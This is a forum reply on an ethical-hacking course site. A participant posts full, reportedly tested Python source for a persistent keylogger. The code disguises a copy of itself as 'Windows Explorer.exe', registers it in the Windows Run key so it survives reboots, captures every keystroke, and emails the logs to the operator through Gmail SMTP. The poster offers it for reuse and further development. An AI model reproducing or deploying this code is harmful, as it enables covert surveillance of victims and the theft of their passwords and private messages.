• Home
  • Hacking & Security
    • Network Hacking
    • Web Hacking
    • Social Engineering
    • Kali Linux
    Submit An Article
  • Courses
    • All Courses
    • Bundles
    • Masterclass
    • VIP Membership
    • FAQ

    Popular Courses

  • Shop
  • Competition
  • Services
    Penetration Testing
    Consulting
    Code Review
    One on one Training
    Online Courses
    VPN
  • Blog
      • Cart

    VIP Membership Masterclass
    Got a question?
    [email protected]
    RegisterLogin
    zSecurity
    • Home
    • Hacking & Security
      • Network Hacking
      • Web Hacking
      • Social Engineering
      • Kali Linux
      Submit An Article
    • Courses
      • All Courses
      • Bundles
      • Masterclass
      • VIP Membership
      • FAQ

      Popular Courses

    • Shop
    • Competition
    • Services
      Penetration Testing
      Consulting
      Code Review
      One on one Training
      Online Courses
      VPN
    • Blog
        • Cart

      Reply To: Persistence for Key logger

      October 22, 2019 at 8:53 pm #26237
      AJ
      Participant

      Hi Alison,

      I am sorry for the late reply. I actually managed to reproduce the same keylogger with persistence and it worked. Please check the following source code, and try to use it for later debugging or if you want to buildup on this:

      klog_object.py

      
      #!/usr/bin/env python
      import persistent_keylogger
      my_keylogger = persistent_keylogger.Keylogger(120, “[email protected]”, “alexnuga2”)
      my_keylogger.start()
      

      Actual code of persistence_keylogger.py

      
      #!/usr/bin/env python
      import pynput.keyboard
      import threading
      import smtplib
      import shutil
      import os
      import sys
      import subprocess
      
      class Keylogger:
      	def __init__(self, time_interval, email, password):
          	        self.log = "Keylogger started"
      		self.become_persistent()
      	        self.interval = time_interval
      	        self.email = email
      	        self.password = password
      
      	def become_persistent(self):
              	evil_file_location = os.environ["appdata"] + "\\Windows Explorer.exe"
              	if not os.path.exists(evil_file_location):
                  	    shutil.copyfile(sys.executable, evil_file_location)
      		    subprocess.call('reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v update /t REG_SZ /d "' + evil_file_location + '"', shell=True)
      
      	def append_to_log(self, string):
      		self.log = self.log + string
      
      	def process_key_press(self, key):
      		try:
      			current_key = str(key.char)
      		except AttributeError:
      			if key == key.space:
      				current_key = " "
      			else:
      				current_key = " " + str(key) + " "
      		self.append_to_log(current_key)
      
      	def report(self):
      		self.send_mail(self.email, self.password, "\n\n" + self.log)
      		self.log = ""
      		timer = threading.Timer(self.interval, self.report)
      		timer.start()
      
      	def send_mail(self, email, password, message):
      		server = smtplib.SMTP("smtp.gmail.com", 587)
      		server.starttls()
      		server.login(email, password)
      		server.sendmail(email, email, message)
      		server.quit()
      
      	def start(self):
      		keyboard_listener = pynput.keyboard.Listener(on_press=self.process_key_press)
      		with keyboard_listener:
      			self.report()
      			keyboard_listener.join()
      

      Note: Please note that I’ve changed the names of the file and tested the keylogger with my Gmail even after the target system has been restarted, but I put your name again for convenience, and that you put the correct file names for I changed them when I edited the above source code.

      Please let me know how it goes. Thank you.

      Categories

      • Cryptography
      • Cryptography
      • CTF
      • Forensics
      • Hacking & Security
      • IOT
      • Kali Linux
      • Network Hacking
      • News
      • OSINT
      • Post Exploitation
      • Post Exploitation
      • Privacy
      • Programming
      • Security
      • Social Engineering
      • Uncategorized
      • Web Hacking

      Popular Posts

      Got a Blank Screen After Importing Kali in Virtual Box ? Here’s How To Fix It
      25Jan2018

      Connect with us

      • Facebook
      • Twitter
      • LinkedIn
      • Instagram
      • Youtube

      “Everything related to ethical hacking

      & cyber security in one place.”

      Quick Links

      • Home
      • About Us
      • Hacking & Security
      • Download Custom Kali
      • Contact
      • FAQ

      Services

      • Penetration Testing
      • Consulting
      • Code Review
      • One on one training
      • VPN
      • VIP Membership

      Company

      • About Us
      • Contact
      • Vulnerability Disclosure

      Support

      • FAQ
      • Forums

      Copyright © 2021 zSecurity Ltd. All rights reserved.

      • Privacy
      • Refunds
      • Terms

      Contribute

      Share your knowledge with the world

      SUBMIT AN ARTICLE

      Login with your site account

      Lost your password?

      Not a member yet? Register now

      Register a new account


      Are you a member? Login now

      Learn more Hacking!

      While waiting for the download, why not follow us on media? We regularly post hacking tutorials and articles


      We are using cookies to give you the best experience on our website. This includes but is not limited to:

      • Storing your settings and preferences.
      • Remember your access information
      • Track website performance and make our website more relevant to you.

      You can find out more about which cookies we are using or switch them off in settings.

      Privacy Overview

      This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.

      Strictly Necessary Cookies

      Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.

      3rd Party Cookies

      This website uses Google Analytics and Linkedin to collect anonymous information such as the number of visitors to the site, and the most popular pages.

      Keeping this cookies enabled helps us to improve our website.

      Please enable Strictly Necessary Cookies first so that we can save your preferences!

      Powered by  GDPR Cookie Compliance